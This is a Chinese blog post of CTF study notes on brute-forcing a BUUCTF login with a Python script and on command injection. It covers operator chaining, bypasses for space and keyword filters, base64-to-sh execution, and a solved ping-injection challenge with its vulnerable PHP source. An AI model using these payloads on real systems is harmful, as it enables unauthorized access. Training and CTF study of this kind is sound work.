暴力破解和命令执行

暴力破解

介绍一款字典软件:

pydictor

文档说明在docs/doc/usage.md中

image.png

BUU BRUTE 1

我们尝试输入用户名admin,密码四位数爆破即可登录成功。

只有四位数的话

代码如下:

import requests
import time

session = requests.session()
burp0_url = "http://0691d399-5f84-41fd-8cc0-8125e81d6ea0.node4.buuoj.cn:81/"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,en-US;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Referer": "http://33611422-a37c-4555-bf6d-950ed031f208.node4.buuoj.cn:81/", "Upgrade-Insecure-Requests": "1"}

for p in range(1000, 10000):
    print("try" + str(p) + "...")
    params = {
        'username': 'admin',
        'password': str(p)
    }
    try:
        ret = session.get(burp0_url, headers=burp0_headers, params=params, timeout=5)
    except Exception as e:
        print(e)
        continue

    time.sleep(0.05)
    if "429" in ret.text:
        print("too quick!!")
    if "密码错误" not in ret.text:
        print(str(p) + "---" + ret.text)
        break

最后也是在第6490时回显到了flag。

image.png

而要防守的话,其实也很简单。

o登录尝试超过次数,锁定账号

oIP登录次数超过阈值,封IP

缺点:如果若干用户共用同一IP,也会导致其他用户登录不了

命令执行

介绍一些链接命令的符号。

windows

|	直接执行后面的语句,如ping www.baidu.com|whoami
||	如果前面的语句执行出错,则执行后面的。如ping 2||whoami
&	前面的语句可真可假。如ping 2&whoami
&&	前面的语句为真时,才执行后面的语句。如ping www.baidu.com && whoami

linux

|	管道符,直接执行后面的语句,如ping -c 4 127.0.0.1 | whoami
||	如果前面的语句执行出错,则执行后面的。如ping -c 4 2 || whoami
;	执行完前面的,直接执行后面的;如ping -c 4 127.0.0.1; whoami
&&	前面的语句为真时,才执行后面的语句。如ping -c 4 127.0.0.1 && whoami

一些命令绕过

绕过空格

o$IFS$1

$IFS在bash中默认是空格

测试:

echo "cat${IFS}flag"

后面加1表示接上参数。

o{cat,flag}

ocat<flag

重定向输出。

ocat<>flag

输入和输出都重定向也是可以的。

完整的测试代码

ljy@ubuntu:~$ cat flag
flag{asfsafsaf}
ljy@ubuntu:~$ cat$IFS$1flag
flag{asfsafsaf}
ljy@ubuntu:~$ {cat,flag}
flag{asfsafsaf}
ljy@ubuntu:~$ cat<flag
flag{asfsafsaf}
ljy@ubuntu:~$ cat<>flag
flag{asfsafsaf}

关键词绕过

比如限制了我flag这个字符串

那么我们可以有以下姿势:

变量拼接

ljy@ubuntu:~$ a=fl;b=ag;cat $a$b;
flag{asfsafsaf}

反引号

ljy@ubuntu:~$ echo "pwd `pwd`"
pwd /home/ljy

image.png

反引号,引号,反斜杠绕过

ljy@ubuntu:~$ cat fl``ag``
flag{asfsafsaf}
ljy@ubuntu:~$ cat f\lag
flag{asfsafsaf}
ljy@ubuntu:~$ cat f'l'ag
flag{asfsafsaf}
ljy@ubuntu:~$ cat f"l"ag
flag{asfsafsaf}

编码绕过

通过管道符解密,再传给sh执行。

ljy@ubuntu:~$ echo "cat flag" | base64
Y2F0IGZsYWcK
ljy@ubuntu:~$ echo Y2F0IGZsYWcK | base64 -d
cat flag
ljy@ubuntu:~$ echo Y2F0IGZsYWcK | base64 -d | sh
flag{asfsafsaf}

练习

buu-pingpingping

我们命令注入

1;ls

出来了index和flag

通过$IFS$1可以绕过空格。

我们于是绕过得到iudex.php源码

源代码

<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}

?>

flag是贪婪匹配,且过滤了很多字符

比较自然想到的就是变量拼接。

变量拼接

1;a=.php;b=index;cat$IFS$1$b$a

其他方法可以看我往期博客

posted @ 2023-02-10 11:26  yuezi2048  阅读(48)  评论(0编辑  收藏  举报